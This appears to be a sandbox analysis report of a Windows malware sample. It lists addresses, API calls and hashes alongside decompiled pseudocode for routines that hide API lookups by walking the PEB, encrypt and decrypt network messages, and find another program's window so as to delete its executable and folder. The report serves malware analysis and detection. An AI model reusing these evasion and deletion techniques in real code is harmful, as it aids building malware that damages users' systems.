0x004018a3
0x004018ab
0x004018b2
0x004018b3
0x004018b5
0x004018c0
0x004018c1
0x004018c3
0x004018c5
0x004018ca
0x004018d4
0x004018de
0x004018e8
0x004018f2
0x004018fc
0x0040190c
0x0040190e
0x00401927
0x0040192c
0x0040192e
0x00401939
0x00401940
0x00401947
0x00401948
0x0040194a
0x00401962
0x0040196f
0x00401974
0x0040197a
0x00401980
0x00401983
0x00401987
0x00401990
0x00401993
0x004019ad
0x004019b8
0x004019be
0x004019c8
0x004019d2
0x004019d7
0x004019d8
0x004019e0
0x004019e1
0x004019e3
0x004019eb
0x004019ec
0x004019f4
0x004019f5
0x00401a10
0x00401a1d
0x00401a22
0x00401a2c
0x00401a36
0x00401a50
0x00401a55
0x00401a57
0x00401a5f
0x00401a60
0x00401a62
0x00401a6a
0x00401a71
0x00401a72
0x00401a74
0x00401a8c
0x00401aa1
0x00401aba
0x00401aca
0x00401aec
0x00401b07
0x00401b22
0x00401b27
0x00401b2d
0x00401b2f
0x00000000
0x00000000
0x00401b35
0x00401b39
0x00000000
0x00000000
0x00401b5c
0x00401b61
0x00401b63
0x00000000
0x00000000
0x00401b69
0x00401b6d
0x00000000
0x00000000
0x00401b93
0x00401b98
0x00401b9a
0x00000000
0x00000000
0x00401bb3
0x00401beb
0x00401bf0
0x00401bf2
0x00000000
0x00000000
0x00401bf8
0x00000000
0x00401bf8
0x00401c20
0x00401c22
0x00000000
0x00000000
0x00401c33
0x00401c38
0x00401c3e
0x00401c41
0x00401c45
0x00401c49
0x00401c50
0x00401c53
0x00401c63
0x00401c75
0x00401c7a
0x00401c8a
0x00401c9b
0x00401caa
0x00401cd0
0x00401ceb
0x00401d06
0x00401d0b
0x00401d11
0x00401d13
0x00000000
0x00000000
0x00401d19
0x00401d1d
0x00000000
0x00000000
0x00401d44
0x00401d49
0x00401d4b
0x00000000
0x00000000
0x00401d51
0x00401d55
0x00401d64
0x00401d78
0x00401d8a
0x00401d9b
0x00401da9
0x00401dae
0x00401dae
0x00401d55
0x00000000
0x00401507
0x004014f3
0x004014fa
0x00000000
0x00000000
0x00000000
0x004014fa
0x004014ad
0x004014b0
0x00000000
0x00000000
0x00000000
0x004014b0
0x0040149b
0x0040149e
0x00000000
0x00000000
0x00000000
0x0040149e
0x00401489
0x0040148c
0x00000000
0x00000000
0x00000000
0x0040148c
0x00401477
0x0040147a
0x00000000
0x00000000
0x00000000
0x0040147a
0x004026a1
0x004026a1
0x004026af
0x004026b1
0x004026b1
0x004026c4
0x004026c9
0x004026d0
0x004026de
0x004026e0
0x004026e7
0x004026e7
0x004026fb
0x00402705
0x0040270a
0x00402711
0x00402713
0x00402715
0x0040272d
0x0040272d
0x0040272f
0x00402731
0x00402749
0x0040274b
0x0040274d
0x00402765
0x00402773
0x0040277f
0x0040278b
0x00402797
0x004027a3
0x004027b2
0x004027b2

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00401558
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0040158C
CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,00000000,?), ref: 00402705

Strings

BCryptCloseAlgorithmProvider, xrefs: 00402722, 0040273E, 0040275A
bcrypt.dll, xrefs: 00402718, 00402734, 00402750

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$ContextRelease
String ID: BCryptCloseAlgorithmProvider$bcrypt.dll
API String ID: 1374739491-1199799005
Opcode ID: 0f6391fcd8b9fa3d4459d097e06acaa794d21d587787b8e019ea7476e8557f90
Instruction ID: ac2092c53f87f98f0a089fefd91acfe45b7f9787c096ec86e9cb88b1b7690151
Opcode Fuzzy Hash: 0f6391fcd8b9fa3d4459d097e06acaa794d21d587787b8e019ea7476e8557f90
Instruction Fuzzy Hash: D0216470D40218AADF20ABE4CD0AFDD7278EB45708F1044BAF649720D0CB7E5A548F19

Uniqueness

Uniqueness Score: -1.00%

Function 004044BF Relevance: 4.6, APIs: 3, Instructions: 102
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E004044BF(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, void* _a16, intOrPtr _a20) {
				char _v16;
				char _v20;
				char _v24;
				void* _v28;
				char* _v32;
				long _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v80;
				intOrPtr _v84;
				char _v88;
				char _v92;
				void* _t53;
				void* _t58;
				intOrPtr _t80;
				void* _t86;

				_t53 = E00406502( &_v92,  &_v16 - _t86);
				while(_a12 > 0) {
					_push( &_v24);
					_push(4);
					_push(_a20);
					L00406D5A();
					_t53 = VirtualAlloc(0, _v24 + _v16 + _v20, 0x3000, 4);
					if(_t53 != 0) {
						_v28 = _t53;
						_t58 = _t53 + _v24;
						_t80 = _a12;
						if(_v16 <= _t80) {
							_t80 = _v16;
						}
						_v92 = _v92 + _t80;
						_a12 = _a12 - _t80;
						E0040647B(_a8 + _v92, _t58, _t80);
						E0040647B( &_v24,  &_v88, 4);
						_v84 = 7;
						E0040647B( &_v28,  &_v80, 4);
						_v76 = _t80;
						_v72 = 1;
						_v68 = _v28 + _v24;
						E0040647B( &_v20,  &_v64, 4);
						_v60 = 6;
						_v56 = _v28 + _v24 + _t80;
						_v52 = 0;
						_v48 = 0;
						_v44 = 0;
						_v32 =  &_v88;
						_v40 = 0;
						_v36 = 4;
						_push(0);
						_push( &_v40);
						_push(0);
						_push(_a20);
						L00406D30();
						E0040612A(_a4, _v28, _v88 + _v76 + _v64, _a16);
						_t53 = E0040491C( &_v28);
						continue;
					}
					break;
				}
				return _t53;
			}

0x004044d3
0x004045e3
0x004044e0
0x004044e1
0x004044e3
0x004044e6
0x004044fe
0x00404505
0x0040450b
0x0040450e
0x00404511
0x00404517
0x00404519
0x00404519
0x00404522
0x00404525
0x0040452b
0x0040453a
0x0040453f
0x00404550
0x00404555
0x00404558
0x00404565
0x00404572
0x00404577
0x00404586
0x00404589
0x00404590
0x00404597
0x004045a1
0x004045a4
0x004045ab
0x004045b2
0x004045b7
0x004045b8
0x004045ba
0x004045bd
0x004045d5
0x004045de
0x00000000
0x004045de
0x00000000
0x00404505
0x004045f1

APIs

QueryContextAttributesA.SECUR32(?,00000004,?,?,?,?,?,?), ref: 004044E6
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,00000004,?,?,?,?,?,?), ref: 004044FE
EncryptMessage.SECUR32(?,00000000,?,00000000,?,?,00000004,?,?,00000004,?,?,00000004,?,?,?), ref: 004045BD

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: AllocAttributesContextEncryptMessageQueryVirtual
String ID:
API String ID: 2600646408-0
Opcode ID: 0ace58803837f43884b203ae3de82b10bb51da4f244ada5a422ae56beff96eec
Instruction ID: fbe9425e72b04638628d58470888c7c448355bc38ec8f6330cbca6cf5671729c
Opcode Fuzzy Hash: 0ace58803837f43884b203ae3de82b10bb51da4f244ada5a422ae56beff96eec
Instruction Fuzzy Hash: 0241CCB1D00209ABDF04DFD5CC86FEEBBB8EF44308F14412AE611B6291D7789A55CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00403E6B Relevance: 4.5, APIs: 3, Instructions: 44
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00403E6B(long* _a4, BYTE* _a8, intOrPtr _a12) {
				long* _v8;
				char _v12;
				char _v16;
				char _v125;
				char _v268;
				char* _t18;
				void* _t22;
				void* _t25;

				E00406502( &_v268,  &_v16 - _t25);
				CryptImportKey(_a4, _a8, 0x190, 0, 1,  &_v8);
				_v12 = 0x90;
				_push( &_v12);
				_t18 =  &_v268;
				_push(_t18);
				_push(0);
				_push(6);
				_push(0);
				_push(_v8);
				L00406C76();
				E00406435( &_v125, _a12, 0x80);
				CryptDestroyKey(_v8);
				_t22 = _t18;
				return _t22;
			}

0x00403e82
0x00403e9a
0x00403e9f
0x00403ea9
0x00403eaa
0x00403eb0
0x00403eb1
0x00403eb3
0x00403eb5
0x00403eb7
0x00403eba
0x00403ecc
0x00403ed4
0x00403ed9
0x00403ede

APIs

CryptImportKey.ADVAPI32(?,?,00000190,00000000,00000001,?,?,?,?,?), ref: 00403E9A
CryptExportKey.ADVAPI32(?,00000000,00000006,00000000,?,?,?,?,00000190,00000000,00000001,?,?,?,?,?), ref: 00403EBA
CryptDestroyKey.ADVAPI32(?,?,?,00000080,00000000,?,00000000,00000006,00000000,?,?,?,?,00000190,00000000,00000001), ref: 00403ED4

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Crypt$DestroyExportImport
String ID:
API String ID: 2547721435-0
Opcode ID: f94d26fc47df04dac6875fb1b1221e6d3eaec2c8751c2baa8fe4727a82e215ab
Instruction ID: 9d10b943a7bc9aefa1c246c65ff0d49bd524bc2c748e8e09c0525cd1665de58d
Opcode Fuzzy Hash: f94d26fc47df04dac6875fb1b1221e6d3eaec2c8751c2baa8fe4727a82e215ab
Instruction Fuzzy Hash: 46018C72A00208BEEF11EFA1CC46FDE777CEB00704F10402AB642B50D1DAB5AB649B68

Uniqueness

Uniqueness Score: -1.00%

Function 004045F4 Relevance: 3.1, APIs: 2, Instructions: 148
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E004045F4(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v8;
				void* _v12;
				char _v16;
				long _v20;
				char* _v24;
				long _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				void* _v60;
				void* _v64;
				void* _v68;
				char _v72;
				signed int _v76;
				char _v80;
				signed int _v84;
				void* _v88;
				void* _t71;
				void* _t77;
				signed int _t78;
				signed int _t86;
				signed int _t88;
				signed int _t92;
				intOrPtr _t101;
				signed int* _t102;
				void* _t103;
				void* _t104;

				E00406502( &_v88,  &_v16 - _t104);
				E00406502(_a8, 4);
				_t101 = _a8;
				_v20 = 0x8000;
				_t71 = VirtualAlloc(0, _v20, 0x3000, 4);
				if(_t71 == 0) {
					L28:
					E0040491C(_a8);
					_v88 = 0;
					goto L29;
				} else {
					_v8 = _t71;
					goto L2;
					do {
						do {
							L2:
							if(_v12 == 0 || _v84 == 0x80090318) {
								while(1) {
									_t77 = _v8 + _v12;
									_t96 = _v20 != _v12;
									if(_v20 != _v12) {
										break;
									}
									_v20 = _v20 + 0x8000;
									if(E004048B3( &_v8, _v12, _v20) == 0) {
										goto L28;
									} else {
										continue;
									}
								}
								_t78 = E004061FD(__eflags, _a4, _t77, _t96, 0);
								__eflags = _t78;
								if(_t78 <= 0) {
									goto L28;
								}
								_t20 =  &_v12;
								 *_t20 = _v12 + _t78;
								__eflags =  *_t20;
							}
							E0040647B( &_v12,  &_v80, 4);
							_v76 = 1;
							E0040647B( &_v8,  &_v72, 4);
							_v68 = 0;
							_v64 = 0;
							_v60 = 0;
							_v56 = 0;
							_v52 = 0;
							_v48 = 0;
							_v44 = 0;
							_v40 = 0;
							_v36 = 0;
							_v24 =  &_v80;
							_v32 = 0;
							_v28 = 4;
							_push(0);
							_push(0);
							_t86 =  &_v32;
							_push(_t86);
							_push(_a12);
							L00406D24();
							_v84 = _t86;
							__eflags = _v84 - 0x80090318;
						} while (__eflags == 0);
						__eflags = _v84 - 0x90317;
						if(_v84 == 0x90317) {
							L14:
							_v12 = 0;
							_t92 = 1;
							while(1) {
								__eflags = _t92 - 3;
								if(_t92 > 3) {
									goto L26;
								}
								_t102 = _t103 + _t92 * 0xc - 0x4c;
								__eflags = _t102[1] - 1;
								if(_t102[1] != 1) {
									L20:
									__eflags = _t102[1] - 5;
									if(_t102[1] == 5) {
										__eflags = _t102[2];
										if(_t102[2] != 0) {
											__eflags =  *_t102;
											if( *_t102 != 0) {
												_t59 =  &_v12;
												 *_t59 = _v12 +  *_t102;
												__eflags =  *_t59;
												_v84 = 0x90312;
												E0040647B(_t102[2], _v8 + _v12,  *_t102);
											}
										}
									}
									L24:
									_t92 = _t92 + 1;
									__eflags = _t92;
									continue;
								}
								__eflags = _t102[2];
								if(_t102[2] == 0) {
									goto L20;
								}
								__eflags =  *_t102;
								if( *_t102 == 0) {
									goto L20;
								}
								_t88 = E0040487D(_t101, _v88, _t102[2],  *_t102);
								__eflags = _t88;
								if(_t88 == 0) {
									goto L28;
								}
								_v88 = _v88 +  *_t102;
								goto L24;
							}
							goto L26;
						}
						__eflags = _v84 - 0x90321;
						if(_v84 != 0x90321) {
							__eflags = _t86;
							if(_t86 != 0) {
								goto L28;
							}
							goto L14;
						}
						goto L28;
						L26:
						__eflags = _v84 - 0x90312;
					} while (__eflags == 0);
					L29:
					E0040491C( &_v8);
					return _v88;
				}
			}

0x00404608
0x00404612
0x00404617
0x0040461a
0x0040462d
0x00404634
0x004047cd
0x004047d0
0x004047d5
0x00000000
0x0040463a
0x0040463a
0x0040463a
0x0040463d
0x0040463d
0x0040463d
0x00404641
0x0040464c
0x0040464f
0x00404655
0x0040465a
0x00000000
0x00000000
0x0040465c
0x00404674
0x00000000
0x0040467a
0x00000000
0x0040467a
0x00404674
0x00404683
0x00404688
0x0040468a
0x00000000
0x00000000
0x00404690
0x00404690
0x00404690
0x00404690
0x0040469d
0x004046a2
0x004046b3
0x004046b8
0x004046bf
0x004046c6
0x004046cd
0x004046d4
0x004046db
0x004046e2
0x004046e9
0x004046f0
0x004046fa
0x004046fd
0x00404704
0x0040470b
0x0040470d
0x0040470f
0x00404712
0x00404713
0x00404716
0x0040471b
0x0040471e
0x0040471e
0x0040472b
0x00404732
0x0040474b
0x0040474b
0x00404752
0x004047b9
0x004047b9
0x004047bc
0x00000000
0x00000000
0x0040475c
0x00404760
0x00404764
0x0040478a
0x0040478a
0x0040478e
0x00404790
0x00404794
0x00404796
0x00404799
0x004047a3
0x004047a3
0x004047a3
0x004047a6
0x004047b3
0x004047b3
0x00404799
0x00404794
0x004047b8
0x004047b8
0x004047b8
0x00000000
0x004047b8
0x00404766
0x0040476a
0x00000000
0x00000000
0x0040476c
0x0040476f
0x00000000
0x00000000
0x0040477a
0x0040477f
0x00404781
0x00000000
0x00000000
0x00404785
0x00000000
0x00404785
0x00000000
0x004047b9
0x00404734
0x0040473b
0x00404742
0x00404745
0x00000000
0x00000000
0x00000000
0x00404745
0x00000000
0x004047be
0x004047be
0x004047be
0x004047dc
0x004047e0
0x004047ec
0x004047ec

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,00000004,?,?,?,?,?), ref: 0040462D
DecryptMessage.SECUR32(?,?,00000000,00000000,?,?,00000004,?,?,00000004,?,?,?,00000000,00000000,?), ref: 00404716

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: AllocDecryptMessageVirtual
String ID:
API String ID: 2757997683-0
Opcode ID: fabcba7e52ba51aab3891164c8a59753f6984cb8491d74d8585143550ecea702
Instruction ID: d2f1d3622ade38de806a3a271381969239ef205878bcdc7c44142e679cd1663d
Opcode Fuzzy Hash: fabcba7e52ba51aab3891164c8a59753f6984cb8491d74d8585143550ecea702
Instruction Fuzzy Hash: 1C5107B1800209EBDF20DFD1C845BAEBBB8EF45308F20453EE651B62D0D3B99A54DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040694A Relevance: 2.6, Strings: 2, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040694A(intOrPtr _a4) {
				char* _v8;
				short _v10;
				char _v12;
				char _v16;
				char _v268;
				char _v272;
				char _v1296;
				intOrPtr _t31;
				intOrPtr _t34;
				short _t37;
				intOrPtr _t45;
				void* _t48;
				char* _t49;
				intOrPtr* _t50;
				intOrPtr* _t51;
				void* _t52;

				E00406502( &_v1296,  &_v16 - _t52);
				E00406519(_a4, 0xffffffff,  &_v1296);
				_t49 =  &_v1296;
				_t31 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
				_t51 =  *((intOrPtr*)(_t31 + 0xc));
				_t45 =  *((intOrPtr*)(_t31 + 0x10));
				do {
					_t51 =  *_t51;
					_t50 =  *((intOrPtr*)(_t51 + 0x30));
					_t48 = 0;
					while( *((char*)(_t48 + _t49)) != 0) {
						_t34 =  *_t50;
						if(_t34 < 0x41 || _t34 > 0x5a) {
							__eflags = _t34 - 0x61;
							if(__eflags >= 0) {
								__eflags = _t34 - 0x7a;
								if(__eflags <= 0) {
									_t34 = _t34 - 0x20;
									__eflags = _t34;
								}
							}
						} else {
							_t34 = _t34 + 0x20;
						}
						if( *((intOrPtr*)(_t48 + _t49)) == _t34 ||  *((intOrPtr*)(_t48 + _t49)) == _t34) {
							_t50 = _t50 + 2;
							_t48 = _t48 + 1;
							continue;
						} else {
							goto L11;
						}
					}
					return  *((intOrPtr*)(_t51 + 0x18));
					L11:
					_t60 = _t51 - _t45;
				} while (_t51 != _t45);
				_t37 = E00406709(_t60,  &_v1296,  &_v268);
				_v12 = _t37;
				_v10 = _t37;
				_v10 = _v10 + 2;
				_v8 =  &_v268;
				_v272 = 0;
				_push( &_v272);
				_push( &_v12);
				_push(0);
				_push(0);
				 *((intOrPtr*)(E00406A3A(_t60, E0040694A("ntdll.dll"), "LdrLoadDll")))();
				return _v272;
			}

0x00406961
0x00406972
0x00406977
0x00406983
0x00406986
0x00406989
0x0040698c
0x0040698c
0x0040698e
0x00406991
0x00406993
0x0040699f
0x004069a3
0x004069ae
0x004069b0
0x004069b2
0x004069b4
0x004069b6
0x004069b6
0x004069b6
0x004069b4
0x004069a9
0x004069a9
0x004069a9
0x004069bc
0x004069c5
0x004069c8
0x00000000
0x00000000
0x00000000
0x00000000
0x004069bc
0x00000000
0x004069c3
0x004069cb
0x004069cb
0x004069dd
0x004069e2
0x004069e6
0x004069ea
0x004069f5
0x004069f8
0x00406a08
0x00406a0c
0x00406a0d
0x00406a0f
0x00406a26
0x00000000

Strings

ntdll.dll, xrefs: 00406A11
LdrLoadDll, xrefs: 00406A1B

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID:
String ID: LdrLoadDll$ntdll.dll
API String ID: 0-2564759627
Opcode ID: cc655f2e745c197c1cd8ff168eb36bd72ba18c6e1e9b034a5f34084b52459abc
Instruction ID: edf0d625fc17511f288c8a6116b8ce20af307920f008853ea0c78fe4c24583aa
Opcode Fuzzy Hash: cc655f2e745c197c1cd8ff168eb36bd72ba18c6e1e9b034a5f34084b52459abc
Instruction Fuzzy Hash: EF2106B1914218ABCB20DF54CC44FCAB3B8EF06314F1241BBE582B36C1D238AA568F59

Uniqueness

Uniqueness Score: -1.00%

Function 033F42F0 Relevance: 1.6, APIs: 1, Instructions: 98encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 033F4407

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 717a60557f0505de57460b4e15c122248a3fc0eeae036cffa96025c14d22fa8e
Instruction ID: 2937ba4e099eaeb88d4225259084d8b8ed7c4de016d4dec13304a1fdec6b2f11
Opcode Fuzzy Hash: 717a60557f0505de57460b4e15c122248a3fc0eeae036cffa96025c14d22fa8e
Instruction Fuzzy Hash: D6319276A40319AEEF20DAA48CC9FEF777CAF44700F8841A5B754E60D1DA709A808B65

Uniqueness

Uniqueness Score: -1.00%

Function 033F200D Relevance: 1.6, APIs: 1, Instructions: 77encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 033F17A8
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 033F17DC
CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,00000000,?), ref: 033F2955

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$ContextRelease
String ID:
API String ID: 1374739491-0
Opcode ID: cbd48c07a142f04c3f425774e16ccec0d6c449adedbd5037bf7a32a9b363237d
Instruction ID: bdf19e09cf2110a4aec53a96bd1494f12a26c0da9410ccae3f140c941e4dcdc3
Opcode Fuzzy Hash: cbd48c07a142f04c3f425774e16ccec0d6c449adedbd5037bf7a32a9b363237d
Instruction Fuzzy Hash: 98211E75D40318AEDF20EBE4CD89FDDB7B8EB44705F904496E348BA090CB7A9A548F25

Uniqueness

Uniqueness Score: -1.00%

Function 00406862 Relevance: 1.3, Strings: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00406862(signed int __eax, signed int _a4) {
				signed int _t8;
				void* _t13;
				signed int _t15;

				asm("rdtsc");
				_push(_t13);
				_push(_t15);
				asm("rcr eax, 0x10");
				_t8 = 0x3cfb5543 + __eax * 0x1e7319 + _t13;
				if(_t15 != 0) {
					_t8 = _t8 * _t15;
				}
				return _t8 * _a4 >> 0x20;
			}

0x00406862
0x00406868
0x00406869
0x00406877
0x0040687a
0x0040687e
0x00406880
0x00406880
0x00406890

Strings

kdnku, xrefs: 0040686A

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID:
String ID: kdnku
API String ID: 0-2024472800
Opcode ID: 1f89aef79ef7b5cb9e09e9803b4407ea6ad23b4a41ae40ae392cbca8b0574f67
Instruction ID: fc64575f9c75a674117952cc7a71df32dcdff6f8f1f2ba5d8efdd7e5269c2f21
Opcode Fuzzy Hash: 1f89aef79ef7b5cb9e09e9803b4407ea6ad23b4a41ae40ae392cbca8b0574f67
Instruction Fuzzy Hash: 98D05B7B7041062FB70C504FAD078B7665FC1D1764318D437F901D4295F551DA450074

Uniqueness

Uniqueness Score: -1.00%

Function 033F6B9A Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e93e51601e3139b84a506e60b9e3c7307c9176b7d5535be830f003ff2ef2f780
Instruction ID: d95f1ea66841d6491c21a22e9b51c6926f1990f11f6d632b82c1d93997d5db9a
Opcode Fuzzy Hash: e93e51601e3139b84a506e60b9e3c7307c9176b7d5535be830f003ff2ef2f780
Instruction Fuzzy Hash: 4021E475904218AECB20CBA4CCC6FDEB7BCEB05310F9441DAD695A7251D634AA868F54

Uniqueness

Uniqueness Score: -1.00%

Function 033F0D90 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction ID: 47610c818f6d55adcccc79f6c66e64742a44490cdf30a5a8bd83672b6090f2d0
Opcode Fuzzy Hash: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction Fuzzy Hash: 17F0C276A115049FDB25CF28CC85BAE73F9FF84215F8841A4EA0AD7242D334E9428B50

Uniqueness

Uniqueness Score: -1.00%

Function 00405BE5 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 105
sleepfilethreadCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00405BE5(void* __eflags, struct HWND__* _a4) {
				char _v16;
				char _v260;
				char _v516;
				long _v520;
				char _v648;
				char* _v652;
				intOrPtr _v656;
				void* _v660;
				void* _v664;
				int _t35;
				void* _t38;
				void* _t47;
				CHAR* _t48;
				int _t50;
				void* _t57;
				void* _t58;
				void* _t60;

				E00406502( &_v664,  &_v16 - _t60);
				GetWindowThreadProcessId(_a4,  &_v520);
				if(_v520 != GetCurrentProcessId()) {
					GetClassNameA(_a4,  &_v260, 0x100);
					_t35 = GetWindowTextA(_a4,  &_v516, 0x100);
					_t63 = _t35;
					if(_t35 != 0) {
						_t38 = E00406756(_t63, "win32app",  &_v260);
						_t64 = _t38;
						if(_t38 != 0 && E00406756(_t64, "Microsoft",  &_v516) != 0) {
							_t57 = 0x80;
							do {
								_t40 = E00406862(_t40, 0x80);
								asm("stosb");
								_t57 = _t57 - 1;
							} while (_t57 != 0);
							_v660 = E00406862(_t40, 0xee6b2800);
							_v656 = E00406862(_t41, 0x80) + 1;
							_v652 =  &_v648;
							SendMessageA(_a4, 0x4a, 0,  &_v660);
							_t47 = OpenProcess(0x410, 0, _v520);
							if(_t47 != 0) {
								_v664 = _t47;
								_push(0x100);
								_t48 =  &_v260;
								_push(_t48);
								_push(0);
								_push(_v664);
								L00406D6C();
								if(_t48 != 0) {
									Sleep(0x3e8);
									_t50 = DeleteFileA( &_v260);
									_t69 = _t50;
									if(_t50 != 0) {
										_t58 = E0040673B(_t69,  &_v260);
										while(1) {
											_t58 = _t58 - 1;
											if(_t58 == 0) {
												goto L13;
											}
											if( *[ss:ecx+ebp-0x100] != 0x5c) {
												continue;
											} else {
												 *[ss:ecx+ebp-0x100] = 0;
												RemoveDirectoryA( &_v260);
											}
											goto L13;
										}
									}
								}
							}
						}
					}
				}
				L13:
				return 1;
			}

0x00405bfc
0x00405c0b
0x00405c1b
0x00405c30
0x00405c44
0x00405c49
0x00405c4b
0x00405c5d
0x00405c62
0x00405c64
0x00405c89
0x00405c8e
0x00405c93
0x00405c98
0x00405c99
0x00405c99
0x00405ca6
0x00405cb7
0x00405cc3
0x00405cd7
0x00405ce9
0x00405cf0
0x00405cf2
0x00405cf8
0x00405cfd
0x00405d03
0x00405d04
0x00405d06
0x00405d0c
0x00405d13
0x00405d1a
0x00405d26
0x00405d2b
0x00405d2d
0x00405d3b
0x00405d3d
0x00405d3d
0x00405d3e
0x00000000
0x00000000
0x00405d49
0x00000000
0x00405d4b
0x00405d4b
0x00405d5b
0x00405d5b
0x00000000
0x00405d49
0x00405d3d
0x00405d2d
0x00405d13
0x00405cf0
0x00405c64
0x00405c4b
0x00405d60
0x00405d69

APIs

GetWindowThreadProcessId.USER32(?,?), ref: 00405C0B
GetCurrentProcessId.KERNEL32(?,?), ref: 00405C10
GetClassNameA.USER32(?,?,00000100), ref: 00405C30
GetWindowTextA.USER32 ref: 00405C44
SendMessageA.USER32 ref: 00405CD7
OpenProcess.KERNEL32(00000410,00000000,?,?,0000004A,00000000,?,00000080,EE6B2800,00000080,Microsoft,?,win32app,?,?,?), ref: 00405CE9
GetModuleFileNameExA.PSAPI(?,00000000,?,00000100,00000410,00000000,?,?,0000004A,00000000,?,00000080,EE6B2800,00000080,Microsoft,?), ref: 00405D0C
Sleep.KERNEL32(000003E8,?,00000000,?,00000100,00000410,00000000,?,?,0000004A,00000000,?,00000080,EE6B2800,00000080,Microsoft), ref: 00405D1A
DeleteFileA.KERNEL32(?,000003E8,?,00000000,?,00000100,00000410,00000000,?,?,0000004A,00000000,?,00000080,EE6B2800,00000080), ref: 00405D26
RemoveDirectoryA.KERNEL32(00000000), ref: 00405D5B

Strings

win32app, xrefs: 00405C58
Microsoft, xrefs: 00405C71

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Process$FileNameWindow$ClassCurrentDeleteDirectoryMessageModuleOpenRemoveSendSleepTextThread
String ID: Microsoft$win32app
API String ID: 934796723-2644191155
Opcode ID: 72b6f076eff4ad836ab90b86e0571a7bc0f697c1a415112771fc71cb5d1326b9
Instruction ID: 6836ca0d0753b389bec54063acc57312d53e6d9e3df4ac1258283116374b7101
